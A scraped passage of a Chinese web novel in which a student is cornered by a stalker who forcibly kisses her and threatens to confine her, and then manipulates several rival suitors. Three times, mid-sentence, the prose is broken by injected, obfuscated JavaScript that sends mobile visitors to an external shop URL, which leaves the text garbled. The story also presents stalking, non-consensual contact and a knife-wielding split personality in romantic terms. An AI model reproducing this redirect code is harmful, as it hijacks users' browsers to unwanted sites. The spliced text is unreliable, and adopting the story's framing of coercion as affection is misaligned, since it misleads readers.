安童撑在桌子上的手握紧,小腿没忍住期待地晃悠着,心里陡然亮堂起来:是沈竹青,他来找她了! 这个人感受到安童的睫毛在他手心激动地颤了颤,他侧头看了眼门口,眼神像是盯着死物一样,一边伸手捂住了安童的嘴,一边凑到她耳边:“宝宝,不要大声叫,你也不想对方看到你这副样子吧。” 他道:“猜猜我是谁吧,我有点等不及了,宝宝。” * 安童离开教室后,沈竹青站在原地盯着被安童重重关上的门,盯得眼睛都冒出红血丝了,也没有思考出所以然,头一次感觉没用的大脑应该被摘下来当足球狠狠踢开。 “靠。”沈竹青烦躁地踢开脚边的板凳,发出刺耳的哗啦声,尖锐得令他的神经再度敏感。 他认为自己表现得已经足够乖了吧,给她打给她骂,不过是后续向安童讨要一点酬劳而已,他就差没有给自己脖子上系条绳子给安童握上了。 就这样,安童还是冷脸离开了,以一副前所未有的漠然态度,甚至没有说话,那一刻,沈竹青好像意识到自己惯用的手段发挥不了作用了。 所以他要怎么做才好? 沈竹青处理事情一向游刃有余,行事也从不看人脸色,他有这个底气,也有这个实力。 但和安童有关的事情是他十八年人生里遇见的最大的难题。 究竟应该怎样才能让安童不摆出那副冷冰冰的样子,他怎样装乖才算达到她的预期? 沈竹青心事重重地回到教室,但安童不在,他躁郁地抓了把头发坐下,时不时看向教室门口。 但直到上课铃声响起,安童也没有回来。 这种特殊时期,不由地让沈竹青产生一些不好的联想,他明晃晃地坐在第一排当着老师的面打开手机发消息。 [青:你怎么还没回来?] 等了一分钟没有回应,他嘴角抿直,指节由于用力握得嘎吱响,果断打了通电话,电话铃声不停歇地响着,对面始终没有接通。 “同学,坐在第一排还玩手机,就有点太明目张胆了吧。” 老师走到沈竹青跟前,还没等他训斥,沈竹青猛地站起来,头也没抬道:“抱歉啊老师,我身体有些不舒服,可能是哮喘又犯了,咳咳咳……” 老师目瞪口呆看着突发恶疾的沈竹青捂住胸口,健步如飞地就往教室外跑。 走廊僻静,沈竹青有种预感,安童应该就在附近,他一个个地翻找着空教室,在拉下一个门把手发现是锁住时,他直觉安童可能就在里面,拳头开始不断捶门:“安童,你在里面吗!” 安童被捂住了嘴,只能唔唔地叫着,她没忍住对面前的人翻了个白眼,用手指了指自己的嘴:让我猜个鬼啊,压根说不了话! “抱歉啊宝宝,你真的很吸引野男人,门外那个人好像很想找到你。把名字写到我背上吧,说不定猜对了,我就把你放了。” 怀着愤愤不平的心情,安童用最长的指甲在他背上狠狠划下一个字:猪。 他声音低柔:“宝宝,你还有一次机会,不要浪费了。” 剧烈的敲门声震在安童耳边,传递着可以得救的喜悦,她不以为然地继续在背上写字骂他。 “我这有可以证明萧白桦无罪的证据,况且我能这样出现在这,就说明不怕被发现,宝宝不要小瞧了我。” 蓦地,安童想起谢岩查不出监控的事,所以不是意外,而是他搞的事? 可恶,情况这么紧急了,系统死哪去了! 【提示:宿主可以选择以下选项——】 【A.J。】 【B.G。】 【C.S。】 字母?系统你又在开什么国际玩笑? 冥冥之中的第六感催使安童在此时存了一个档,她先选了A。 【江薄】 安童反应了好一会这个名字对应的是谁,好像是江萦的弟弟,远在S市,和她也只在高铁上见过一面,怎么会跑来学校? 管他的,死马当作活马医,先试试! “你是江薄!” 捂在嘴上的手松开,安童感到震撼,难道真是那害羞内向的人?下一秒却被他在嘴上咬了一口,给她疼得眼里瞬间氤氲起泪花,打湿了那人的手心。 他见到饱满的唇珠上沁着血珠,眼睛变得晦暗,舔-坻吮-吸着安童的唇瓣,呼吸粗重起来:“宝宝,猜错了,这个男人又是谁?你怎么招惹了那么多人啊,我怎么惩罚你好呢。” 门外的敲门声渐弱,在最后一次呼叫得不到回应后,好像已经死心,离开的脚步声响起,让安童的心也坠了下来。 怕这人做出更变态的行为,安童赶紧做出另一个选择,系统她要选C! 【顾峤】 学长那么温柔,怎么可能是这个变态,安童不开心地撑着桌子往后挪,歪头避开这人的亲吻,认为系统是在开玩笑。 “好吧,那你是顾峤学长吗?” 这人的动作突然停了下来,安童皱着鼻子,感受到他的呼吸近在咫尺,越来越急促,仿佛触发了什么让他激动起来的机关。 安童正拧着眉疑惑,突然被他托起来平放在桌面上,悬空的感觉迫使她两腿夹住对方腰身,他的手温柔地抚摸着安童的头,亲昵地贴着她的脸颊细吻着:“宝宝真聪明,竟然猜出来是我了。” 背后是坚硬的书桌,安童蓬松卷翘的短发披散在上面,这人移开了遮住她视野的手,眼前终于明亮起来。 她睫毛微颤着,缓缓抬起眼,看见了面前这张熟悉的脸庞。 俊秀又斯文,笑起来令人如沐春风,暖到心坎。 ——正是顾峤。 嗯…… 嗯?! 安童:“!!!” 她在心里不断靠靠靠,慌得没边,感觉脑子被人狠狠揍了一拳出现幻觉,有关顾峤的形象像是卷进了漩涡,扭曲成了如今变态又温和的新模样。 啊啊啊不是,这,怎么会,顾峤他怎么会变成这样! 顾峤深深地望进安童惊慌的眼里,手指轻轻拂过她的眉眼、鼻梁和嘴唇,带来痒意和毛骨悚然:“童童,我已经忍了很久了,或许在得到你的回应前我会一直忍下去……” “但是,为什么你招惹了那么多人啊,为什么要给他们希望呢?既然没有感情,为什么不能只有我一个人呢?” 他俯着身子,搂着她柔软的腰肢,捞过她白皙的手在上面落下虔诚的吻,眼睛却是痴痴地望着躺在桌子上的安童。 这道视线黏稠、胶着,像要把她拆吃入腹,哪怕同归于尽。 安童敏锐地察觉到处境比之前更加危险了,缠在对方腰上的脚用力踢着:“你别乱来啊!这可是学校,你想被抓吗,而且沈竹青还没走远呢!” 回应她的是一声轻笑:“童童,你小看我的手段了,你觉得我会怕吗?再来多少个沈竹青也没用。” 可恶,如果此刻有提示音的话,安童想她应该即将开启BE结局了。 顾峤在她修长的脖颈舔吻着:“童童,我把你藏起来吧,藏到一个只有我知道的地方,我已经找到了一个环境适宜的岛屿,我们一起在那里生活。如果你还招惹野男人的话,我就把你锁起来,只有我能进去。” 哈哈,开玩笑吧,这不是秩序森严的二十一世纪吗,小黑屋这种小说里的产物怎么可能在现实中存在呢,安童干笑两声,眼里却浮现出绝望,因为这变态顾峤不像是在说谎。 当一个变态展露冰山一角时,往往表明藏在水下还有更庞大的黑暗。 fuck。 早知如此,当初竞赛时就不该随便勾搭顾峤! 安童在心里紧急翻找着可以劝解变态的知识,余光瞥到窗外,突然愣住,她发现有双手伸出来抓住了窗边,接着冒出来一个头。 这人脸上凶神恶煞,看清室内不堪场景后,眼神更是阴戾。 这是……疯狗? 安童震撼,他是见门打不开,所以从其他地方爬过来的? “你们在干什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841778|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么!安童,过来。” 沈竹青跳进来后,也没有管自己身上到处蹭的灰,几步走过来,拉起顾峤就是一拳揍过去。 顾峤倒是没躲,任由他打了一拳,用手背擦去嘴角的血,温和有礼地笑着:“打人之前要想一下会承担的后果,你爸沈长昀倒是有点东西,但你?现在还不够格。” 安童火速爬起身,跑到离他们很远的地方蹲下,扒着桌子围观,大大的眼睛里透着看好戏的机灵劲。 沈竹青显然没把顾峤的话放进心里,打人的动作更疯,又是一拳狠狠砸了过去,见顾峤一直没反击,他眼神冰冷,却是咧开嘴嘲笑着:“我从小打大还没怕过谁,我爸都管不了我,凭你几句话就想让我听话?” 这人简直有着和沈长昀如出一辙的恶心做派,虚伪又做作。 顾峤但笑不语,甚至从包里掏出了一副金丝眼镜戴上。 这变态能让自己吃亏?安童仔细一琢磨,品出点不同寻常来:难道是想通过身上的伤痕,动用关系把沈竹青送进局子? 哎哟喂,小疯狗完全斗不过变态啊。 场景太过混乱,有两个心系安童的人为之斗得头破血流,桌椅板凳被激烈的争夺打翻。 安童眼睛滴溜溜转了转,在顾峤和沈竹青身上打量着,诞生了一个念头,或许是很早之前,因为德行值过低导致遇到一系列人之后早就有的想法。 很模糊,但正逐渐浮出脑海。 她心里动了动,嘴巴张开,颦着秀眉,善解人意地试图劝说。 “你们别打啦,我这不没出什么事吗,和气生财啊!” 沈竹青面对顾峤几乎算是主动挨打的态度,心里愈发火大,有种被人溜着玩的戏耍感。 听到安童的声音,他猛地踹了顾峤一脚,回头怒视着她:“他都那样对你了,还不算出什么事?非要他把你xx了,你才会生气是吗!对着我凶得不行,各种摆谱耍架子,怎么对着这跟踪狂你底线就放低了?” 安童被吼得缩了下脖子,顾峤本来淡定的神色,瞄到沈竹青对她态度不逊后,一瞬间阴沉下来,他挽起袖子朝沈竹青打去。 眼见这两个人水火不容,没有和平劝解的机会了。 再怎么说沈竹青也是为了她打起来,安童叹了口气,回档到了做选择的时候。 安童眼前再度变得黑暗,耳边传来激烈的敲门声,她坐在桌子上,小腿晃悠着擦过身前的人。 她对当下的处境已经毫无波澜了,甚至想着系统会不会有新的提示。 【帮助他人是良好品德,宿主您面前是一个有着严重心理障碍的病患,请用温暖、关怀和爱治愈他】 竟然还真有,不过这个做好事赚德行值的任务让安童不禁发笑。 她去治愈一个变态? 安童很吝啬,温暖、关怀和爱这类情感在她这是稀缺品,自己都不曾理解,更别提施舍给别人,尤其是像顾峤这类不听话的东西。 对付这种人,就应该用另一种方法,而安童在回档之前,已经想好了。 顾峤垂头贪婪地扫视着安童,如果她猜错了,那他会小小地惩罚一下她;如果猜对,那他会按捺不住激动的心情,把安童直接带走。 安童用手指在他背上描绘着,他笑着,眼神晦暗不清,却在辨清内容时瞳孔放大。 ——K-I-S-S,是kiss。 他捂住安童嘴唇的手一松,被她轻松扯开,在对方动作之前,她开口:“别捂住我的嘴啊,这样怎么能亲你呢?” 顾峤没反应过来,却见被他的手挡住,只露出下半张脸的安童款款在他唇上落下一个轻柔的吻,又很快移开,让他的心变得轻盈、甜蜜又疑惑。 但很快变得猜忌敏感。她为什么亲我?她知道我是谁吗?或者是把我当成了哪个野男人。 他思考着安童这样做的动机,在越来越扩散时,被安童的下一句话带回了现实。 “其实你说话的语气很像我喜欢的一个学长,但他可不像你这样。他为人温柔友善,阳光明朗,如果能一直维持这样,我想未来大概会和他一直在一起。” “咚咚咚……”,安童听到了有人心跳逐渐加快的声音,她抿着羞涩柔弱的笑,天真地歪歪头,伸手环住了他的脖子:“我好久没见顾峤学长了,好想他啊,你真的很像他,我以后可以叫你小顾吗,你能抱抱我吗?” 安童深谙此道,再怎么变态失控也是个男人,而男人嘛…… 感受到顾峤小心翼翼的回抱,安童埋在他怀里,嘴角笑意变大,柔软的手指有意无意挠过他的喉结,语气变得害怕忐忑:“陷害萧白桦的人和我有仇,你这么厉害,可以帮帮我吗,我真的很害怕……” 怀里的人像是认主的小猫,咪呜咪呜地朝他撒娇。顾峤理智飞走了一部分,他仿佛被大运砸中,安童竟然说喜欢他想他,现在还把这个假身份当成了他。 他神色迷醉地闭眼靠着安童的头,温和地不可思议:“我也在找那个藏着的人,但对方很有本事。宝宝你放心,我会放出证据,明天萧白桦就会被放出来了。” 安童满意,仰头亲了下他的喉结。 对啊,早该这样,或许以后也得一直这样。 听顾峤的语气这么嚣张,家里看来很有些背景啊,展露给外人看或许有威慑力,但握在她自己手里可就不一样了,毕竟野狗和家狗还是有区别的。 既然要从安童这里索取想要的东西,那为什么他们不能为她所用呢? 自从德行值变低后,遇到的一系列非要缠上来的男人,比如沈竹青、顾峤还有谢岩,或许未来还有更多。 安童一脸无辜清纯,好像对顾峤的做法很是感动似的,眼角缓缓流下眼泪,摸了摸他的脸颊:“好啊小顾,谢谢你。” * 沈竹青敲门半天没有反应后,意识到不对劲,果断抄了另一头捷径。 好不容易双手攀爬上这个教室,探出半个身子,差点被站在窗前的人吓得掉下去。 “沈竹青,你的脑回路是怎么回事啊,竟然想得出爬墙翻进教室。” 沈竹青抬头,看见安童懒散地靠着窗,倦怠地抬起眼睛扫了一眼他,和他想象中受迫的形象不同。 他有些恍惚,安童好像有哪里变了,但又很难察觉,可能是现在的阳光太过热烈吧,打在她的脸上模糊了轮廓。 整个人浸在了光里,不染纤尘,一身清净。 19. 催眠 回到教室,安童对沈竹青喋喋不休的询问有些厌烦了,干脆对刚刚发生的事闭口不谈,问就是她想一个人在教室静一静,不想看见他。 沈竹青执拗地拉着安童的胳膊,扯起一个僵硬的笑:“你就这么讨厌我吗,我到底哪里不乖了,你可以教教我。” 真像是头甩不掉的哈巴狗,安童听得耳朵要起茧子了。 她注意到讲台上老师不断地向他们看来,周围的同学也在窃窃私语,尴尬症都犯了,一巴掌就给他挥开。 安童自顾自地翻开书本做笔记。过了一会,发现沈竹青过于沉默,便偷偷地觑了一眼,他低头在手机上打字,突然看到了什么,神色蓦地变得阴沉,将手机砰地扣在桌上。 额,精力还是很旺盛嘛。 总之,别来折腾她就好了。 “长期心理暗示是催眠核心,利用声音、图像等载具,通过重复引导途径,可潜移默化影响个体……” 大二的专业课安童早就自己过完一遍了,她撑着下巴感到无聊,瞥了眼老师,把手伸到桌子下打开了手机。 [大大大蠢驴:上次你让我找的跟踪狂,我最近想起,他的身影很眼熟,很像我们认识的一个人。] [大大大蠢驴:上次在警局和你一起的那人,你熟悉吗?] 这条消息是不久前发来的,大概是安童被顾峤抓进教室前。 也就是说,如果谢岩当时打电话过来,说不定她就能提前防范顾峤。 ……这蠢驴,有的时候大可不必如此听话。 [安徒生:跟踪狂我已经搞定了,下次你还是打电话吧(微笑)] “哒哒哒……”手指敲击桌面的声音有节奏感地在安童耳边回荡,她不由放下手机,看向声音的来源。 是坐在她右边的短发女生,她样貌温雅清秀,正专心地翻着手里的书,修长的手指搭在书页边,轻轻地敲着桌子。 声响不大,但不知怎么萦绕在安童脑子里,她甩甩头,认为自己是今天受惊导致精神紧绷了。 安童这样想着,脑子里却有点空白,直到手机的震动声才让她缓过来,眼睛有些滞涩地眨了眨。 [萦:姐姐,现在在干什么呀(猫猫探头)] 江萦的第二人格又回来了?安童按揉了一下自己的太阳穴,脑子越来越昏沉了,她一只手发着消息。 [安徒生:上课,无聊。] [萦:好的姐姐(鲜花)明天我就来找你玩啦~] 书桌前,电脑上财经数据的蓝光打在江萦冷淡的脸上,他回忆着江薄曾经和安童的对话,尽量模仿着他的语气回复。 “哥,安童姐姐真的把我们联系方式删了吗?”江薄突然出现,他扒在门边,难掩失落的心情,眉眼丧丧的。 江萦面不改色的把手机息屏,迎着江薄期待的眼神,扬起一个淡薄的笑:“是的。” 出国后还是这么幼稚,已经20岁了,叫安童姐姐? 江萦冷漠地想,或许该让江薄在国内重新上一次伦理学,改改从国外学来的陋习,纠正一下他错误的称谓。 这时,手机收到消息的震动着桌面。 江萦从容地避开江薄点开安童发来的消息,态度散漫但眼神专注,看清后内容后,他先是轻笑一声,随后脸上的笑却变淡了。 [安徒生:嘴真甜~明天姐姐带你到处玩啊(小狗探头)] 江萦不自觉地捏紧手机。面对他时倒很冷淡,一旦换成江薄的性格就活络起来了。 江薄很少见到他哥有这么大的情绪起伏,浓密的睫毛忽闪了一下,他好似好奇地问道:“哥,是谁发来的消息啊?” “工作上的消息。” 见江萦不想透露太多,江薄弯了弯眼睛,体贴道:“那我就不打扰你了,哥你也早些休息。” 江萦淡淡颔首:“你也是。” 门被轻轻关上。 江薄转身后,迈入亮堂的走廊,光线笼罩在他身上仿佛套上了一层假面,他脸上乖巧的笑瞬间消失,和江萦如出一辙的冷灰色瞳孔内,情绪黑暗翻涌。 江萦一定有事情瞒着他,而这件事和安童有关,江薄笃定地猜测,并且他查到了江萦明天前往A市的高铁票,安童也在那吗? 这几天江萦压根不让他登陆账号和安童聊天,难道他也动了心思想独占?毕竟他们两兄弟的爱好从小到大几乎一样。 甚至江萦和安童可能已经私下会面了。 江薄不由想起之前商场的经历,他好像看到了江萦和安童,如今看来,那正是江萦背着他和安童私会。 他骗我他骗我他骗我他骗我!!!!江萦这个小偷要抢走安童!!!! 进入卧室后,江薄快速走到床边,移开枕头,露出了藏在下面的小刀。 这本来是他因为强烈的不安全感而放在这的安抚品,因为江薄不想变成另一个“他”。 在国外治疗时,这个“他”突然出现在江薄脑海中,与害羞内敛的他不同,这个“他”冷血、无情且自私,对外有强烈的敌视和攻击性。 江薄竭力不让“他”在回国后出现,但是以他的性格抢不过他哥,所以现在…… 空荡的房间内,一个高大挺拔的男人捂着头神色扭曲了一瞬,再次抬起头时,恍若换了一个人。 他神情冰冷,拿着刀就要往门口走,却又停住步伐,双腿无法迈开步子。 “江薄”戏谑地冷笑,明明只有他一个人,却又仿佛和谁说话似的。 “你不是很讨厌你哥哥嘛,所以把我唤醒,我去帮你解决啊。” ——我刚刚只是一时冲动,你不许伤人,帮我抢到安童就是! “这么没出息,一个女人有什么好争的。” “江薄”没见过所谓的安童,和他争夺着身体的控制权,就要往外走。 最后他僵硬着身子走向浴室,将浴缸放满水,头埋在里面,小刀顺着他的力气掉到地上。 不行,江薄在水里屏气,他接受了治疗,他要做个正常人。 ——如果你不听话,我们可以一起消失。 感受到“他”的妥协后,江薄舒了一口气,毕竟他们要相互利用。 A市,他要悄悄跟着江萦一起去。 * 安童正在努力当个管理分配大师。 她简单慰问了一下顾峤,防止其发病,之后婉拒了沈长昀的晚饭邀请,最后尽管没理但还是理直气壮、言辞犀利地骂了一顿谢岩。 安童:我可真忙,竟然这样都不涨德行值,系统太过分了! “哒哒哒”的声音还在持续响着,在安童脑子里仿佛谱起了一首抑扬顿挫的曲调,她转头看向短发女生,很想告诉这人别敲了,她的头好晕好晕。 却发现她在这一刻合上了书,安童的视线莫名被书的封面吸引。 纯白封面上,有一双神圣庄严的巨眼,瞳孔渐渐化为暗金色螺旋,一道血色污痕划过眼睛,也在安童的眼底留下无形痕迹。 安童有些发神,反应有些缓慢,她看到短发女生对她露出一个友善的笑:“这本书叫净化,讲的是神看见世间的不堪,于是降下神罚,派使者来惩罚罪人。你感兴趣的话,我可以把书借给你。” 其实安童对这种东西一点也不感兴趣,但此时她突然很想看看。 脑子里的仿佛还有哒哒哒的声音,节奏越来越激昂。 她慢慢伸过手,正要接过这本书,却被一只宽大的手劫走。 沈竹青夺过这本无聊的书,一把扔到了桌子上,看着安童迷迷糊糊的模样,手在她面前晃了晃,见她眼珠子都不转,以为是困了。 他站起身,想将安童拉起来:“下课了,我们走吧,你下午还有课吗?” 见安童不动,沈竹青心里暗骂自己,明明看了一节课的帖子,怎么还没学会技巧。 他皱眉回想了一下帖子内容,里面说什么“要听主人的话”、“要时刻带着笑”、“疯狗狗要会伪装得乖巧赢得主人喜爱”。 论坛看起来奇奇怪怪,甚至有人直言他会被踹掉,说安童在外面一定有别的狗,这句话触犯到沈竹青敏感的神经,追着那人连骂几十条。 不过还是学会了一些东西。沈竹青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846168|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹲在安童面前,拉着她的手:“我们走吧,已经下课了,困的话可以回去休息。” 安童呆呆地点了点头,眼珠子缓慢地转动了一下。 啊,是的,原来已经下课了吗。 她跟着沈竹青往外面走,懵懵地度过了这个下午,直到晚上才意识到自己状态的不对劲。 安童捶了下头,鉴定自己是用脑过度了,都怪这些源源不断涌上来的人,真的很烦啊! * 第二天中午,谢岩给安童发消息,让她来萧白桦所处的警局。 安童没有叫上沈竹青,这疯狗还是得晾一晾才好,不然他精力过剩的后果就是来安童这发疯。 赶到警局时,萧白桦刚好走出来,经过一夜的审问,他整个人有些憔悴,那双好看的桃花眼迎着光线眯了眯。 在看到安童后,他本来疲倦的状态瞬间收回,仿佛没有看见她一样,假装不在意地低头乱翻着手机。 安童走过来了。萧白桦的心怦怦跳着,慌乱地想着如果她和自己对话,应该怎么回复才显得自己很潇洒大方。 结果一阵风拂过他,安童越过他,和跟在他后面的谢岩聊起天来。 “是有什么实质性的证据吗,萧白桦这么快被放了出来。” 安童心里知道可能是顾峤暗中帮了忙,但还是装作不清楚地问着。 谢岩很久没见到安童了,陡然间她走到面前,太过鲜活了,让他产生了一种不真实的感觉,甚至不自在。 安童好像更白更好看了,他目不转睛地盯着她,垂着身侧的手指不由搓捻起虎口的厚茧,半天没发出声音。 “看够了吗,谢警官?” 这么久不见,这蠢驴看起来更不聪明了。安童踮脚凑近他,清澈的眼里透着嫌弃和疑惑,嘴角勾起一抹无辜的浅笑。 这小绿茶还是这么喜欢爱捉弄人。 离得太近了,谢岩耳根微红地往后退了退,掩饰性地抹了把脸,重新正色起来,硬邦邦地开始聊正事:“有人匿名提供了一份监控录像,证明了萧白桦进去前,那个老师已经死了。” 谢岩眉心一皱,语气变得严肃:“现场只有一把刀,上面只有受害者的指纹,室内没有任何挣扎的迹象,所以现在只能将案件定为自-杀。” 思绪百转间,安童想到昨天课上的内容,不由问道:“你说,有可能是催眠吗?” “我也想到了这个可能,”谢岩道,“而且,这和那个什么教主的手法一致,很可能和他有关。” “这个事情我正在跟进,你最近要小心,那个人可能对你有其他企图。” 谢岩想了想,还是不放心安童的安危:“我这段时间会待在A市,离你学校不远,有事就给我打电话。” 安童默默点头,准备转身叫上萧白桦一起回学校,却被谢岩拉住,他看上去很不好意思把这句话说出口:“或者,你这段时间待在我身边,我可以保护你。” 萧白桦在一旁看着二人“互诉衷肠”冷笑连连,听到谢岩的这句话后彻底忍不住了,私心这么明显,安童这么机灵会看不出来吗? 却见安童眉眼舒展开,是要答应的样子,他耐不住了,话中带刺:“安童,警察那么多,你只麻烦谢警官一人不太好吧。” 安童没搭理他,开开心心地和谢岩约好时间,才满足地捧着手机看向萧白桦:“我们走吧。” 被忽略两次的萧白桦:“呵。” 回学校的路上,萧白桦的脸很臭,像是个要呛人的火炮一样,安童对此敬而远之,乖乖地离他很远。她感到遗憾,多好看的一张脸啊,怎么学不会表情管理。 发现安童一句话都不和他说之后,萧白桦心里两个小人又在打架。他想,安童就是这样的人,不和她接近最好。 但眼见到了学校即将分开,他别扭地叫住安童,想和她道谢。 “安童,你去哪了,为什么不叫上我?” 沈竹青走向安童,不善地朝萧白桦看来。 又是他。 沈竹青后槽牙咬紧,果然,当时在教室里没看错,这人就是想勾搭安童! 20. 修罗场 萧白桦知道沈竹青对自己充满恶意的原因,无非就是把他当成了假想敌。 呵,真以为人人都像他吗,早看清安童的为人了,才不会像他那样当安童的舔狗。萧白桦的手不自觉握紧,意识到之后又赶紧松开。 沈竹青将安童的身形遮挡住,像护食的家犬不容许他人窥视。 萧白桦收回了视线,看向阳光落在地面的投影、路边来往的车辆,就是不望向这两人,心想:至于防成这样吗,他又不是什么豺狼虎豹。 自己思想不端正的人,才会幻想别人思想也不端正。他只是想来感谢一下安童而已,之后就两清,井水不犯河水。 是这样的,他才不想再和安童有任何纠葛。 萧白桦装作低头理了理自己的衣襟,脸上挤出一个无所谓的笑,语气洒脱:“安童,谢谢你这次的帮忙,之前你骗了我两次,现在我们两清,以后各自安好。” 说完后,他侧头又偷看了一眼安童,想知道她听到这话后的反应,却发现她正和沈竹青聊天,氛围暧昧,像是要抱在一起,低头就能亲到的距离。 “……” 萧白桦瞬间感觉自己像个小丑,自说自话,其实根本没人关注,他喉咙一紧,迫不及待就要转身离开。 “诶,你要去哪啊,不和我们一起吗!” 萧白桦这人还有用呢,毕竟他被那教主连续下手两次,一定有特殊的地方! 安童被沈竹青拦着,眼见这关键证人要走了,一把将疯狗推开,追上前拉住萧白桦胳膊。 “别走啊,你……”顿了顿,安童瞅见他的神情,以为萧白桦还记恨着她,便故意垂着头,湿漉漉的眼睛怯怯地向上抬,她失落地抱怨着:“为什么不和我们一起,你这么讨厌我吗?” 萧白桦神色冷酷,但顺从地停住了脚步,瞧着后面沈竹青铁青的脸色,他若有所指地说:“你不是要和男朋友待在一起吗,我跟着不太好吧。” 这句话一出口,萧白桦就为自己的不争气感到恼怒。 这话说的他好像很想跟着安童一起似的。 萧白桦认为此时最佳的举动就是推开安童,然后毫不关心地转身就走,却在安童向他看过来时下意识紧张地绷着脸,期待着她的回答。 安童皱眉,眼神不可思议:“你怎么会认为沈竹青是我男朋友啊,我和他顶多算是普通朋友的关系。” 这话一出,有人的心再次碎成渣渣,有人看到希望开始回春。 “砰砰砰——”,是心脏复苏的声音。 萧白桦感觉空气又变得新鲜起来,让人心旷神怡,连安童身后那眼神冰冷充满威胁的沈竹青也变得面目清秀。 他极力忍耐着,但眼中还是忍不住浮出笑意,看人的目光似乎盛着深情,不经意间勾人般,给安童看愣了。 这双眼睛可真好看,安童忍不住想上手摸一摸,萧白桦嘴角勾着,配合地低头,和她对视着。 “够了吧,当面说我坏话,现在更是不分场合地调-情吗?” 沈竹青拳头梆硬,他怒极反笑,脸上笑意加深,眼中却写满阴郁暴戾,莫名有些瘆人。 他强硬地把安童扯回来抱在怀里,以不占理的姿态横插进两人中间,将萧白桦用力推开。 沈竹青低头,捏着安童的脸抬起来,看着娇嫩的皮肤上轻轻一弄就留下的红印,他手指微松,用拇指轻轻按揉着那里,皮笑肉不笑道:“安童,我可以变乖,但你不能背着我发展其他的狗,有我一人还不够吗?” “别太贪心。” ……那可真是好不听话的一条狗,安童暗自腹诽。 知道沈竹青的实力不如顾峤后,安童查过疯狗对她的好感度,几乎快满了,谅他再疯也不敢对自己怎么样,所以就不怎么对他上心了。 一条狗不听话能怎样? ——当然是换一个更听话的啊。 面前就有一个绝佳的人选。 沈竹青敏锐地发现,安童尽管在自己怀里,眼睛却是望向萧白桦,泪眼朦胧,欲语还休,搞得像是被恶龙劫走的公主,等待王子来解救一样。 他太清楚这副模样了,一旦安童想勾搭谁,就会搬出这一套。 就像当初和沈长昀的相处,这老东西最近几天还一直敲打他,打算让他出国留学。 沈竹青心里隐隐察觉到自己要被安童抛弃了,他把昨天从论坛那学来的方法忘得一干二净,干脆不装了。 他凑近安童耳边,语气森冷地威胁道:“别想着甩开我,不然我也不知道自己会做出什么,也别想着离开,我有一万种方法能找到你。” 安童现在可不怕沈竹青,她看到萧白桦走过来,眼神越发可怜,又听到疯狗在耳边咬牙切齿询问:“我和他,你选谁,想清楚再说。” 这还用想?安童要张口说话,却被沈竹青捂住嘴,“算了,你还是别说话。” 沈竹青看着萧白桦走上前,那根敏感的神经像要绷断了。 希望这家伙识趣点,别凑上来。 可很显然,对面确实是一个被骗过很多次仍不长记性的蠢货,主动上了安童的套。 “你在干什么,没看到她不愿意吗,”萧白桦目光在安童脸上定了定,看到她眼角划下一行泪,对沈竹青无礼的行为更加感到不喜。 他正气凛然地开口:“放开她,这是学校,不然我叫保安了。” 安童对萧白桦没有攻击性的言语感到好笑,但还是鼓励地对他眨了眨眼睛,下一瞬却被沈竹青猛地转了个方向,带到一旁:“你在这待着,我去把这个人处理了。” 尾音快要压抑不住的怒气。 沈竹青太讨厌萧白桦的这张脸了,想要将这幅狐媚样彻底撕裂粉碎。刚刚装得满不在意,实则恨不得将安童钩走吧。 眼见两人就要对峙,这可是在校门口。安童打量了一下周围,已经有好奇八卦的同学围在一边,甚至有人要举起手机拍照。 别搞啊,她可不想明天出现在学校的八卦贴上! 【帮助他人是良好品德,有两个同样优秀的男人为了宿主即将发生争端,请您妥善处理】 该死的系统真会见缝插针。 安童有些焦虑,也许她不该太快表现出对沈竹青的厌烦,这疯狗行事向来不顾后果。 急救,后院着火应该怎么办! “有的时候,拒绝可以用另一种有利于自己的方式呈现,同时让对方心甘情愿地接受。” “如何平衡安抚好两个人,这有点考验技术,但并不难,只要你对他们一视同仁没有偏袒,又或许,出现一个同时让他们两都在意的危机,就能暂时协调一致起来。” 后面传来一道清朗的男声,听了这些,安童顿受启发。 她回头一看,是一个笑容阳光开朗的俊朗青年,虽然西装革履,却有着青春洋溢的少年感,手上还拿着一杯奶茶,他举着奶茶对安童敬了敬,挑了挑眉道:“人多起来很难管理吧,要有耐心。” “不听话嘛,训一训就好了,毕竟再没用的垃圾也只是因为没有放对位置,不是吗?” 这是……惊现民间高手? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870341|190456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安童做出一副听教的乖巧模样,走到他身边:“大师,如果大于两个人呢,我桃花最近有些旺。” 青年:“啊,冒昧地问一下,大概有几个?” 安童:“不多,也就……”她数了数,不确定地举着六个手指头:“6个?” “我倒是有办法,不过……”青年看着已经朝这里走来的两个身姿挺拔的男人,他对着安童挤眉弄眼:“看来新的危机已经让他们结束内斗,一致对外了,我得先溜了。” 